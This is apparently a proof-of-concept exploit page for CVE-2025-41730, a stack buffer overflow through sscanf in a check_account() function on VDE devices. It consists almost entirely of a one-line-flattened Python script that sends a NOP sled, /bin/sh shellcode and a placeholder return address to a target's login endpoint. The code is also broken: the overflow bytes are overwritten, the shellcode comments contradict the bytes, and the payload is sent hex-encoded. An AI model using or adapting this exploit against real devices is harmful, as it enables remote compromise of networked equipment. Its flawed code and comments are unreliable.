CVE-2025-41730: check_account()函数sscanf缓冲区溢出导致远程代码执行

# CVE-2025-41730 PoC - Unsafe sscanf in check_account() # Target: VDE devices with vulnerable check_account() function # This PoC demonstrates sending malicious input to trigger buffer overflow import socket import sys def exploit_cve_2025_41730(target_ip, target_port=80): """ Exploit for CVE-2025-41730 Unsafe sscanf in check_account() function leading to stack buffer overflow """ # Prepare malicious payload # NOP sled for better exploitation reliability nop_sled = b'\x90' * 64 # Shellcode for reverse shell (Linux x86) - calc.exe for testing # Replace with actual shellcode based on target architecture shellcode = b'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80' # Return address (placeholder - needs to be determined for specific target) return_address = b'\xaa\xbb\xcc\xdd' # Adjust based on target # Construct overflow payload payload = b'A' * 256 # Overflow the fixed-size stack buffer payload += return_address * 4 # Overwrite return address payload = nop_sled + shellcode # Send malicious request try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) # HTTP request with malicious payload in account parameter request = f"GET /login HTTP/1.1\r\n" request += f"Host: {target_ip}\r\n" request += f"Authorization: Basic " + payload.hex() + "\r\n\r\n" sock.send(request.encode()) print(f"[*] Payload sent to {target_ip}:{target_port}") print(f"[*] Payload length: {len(payload)} bytes") sock.close() return True except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_cve_2025_41730(target, port)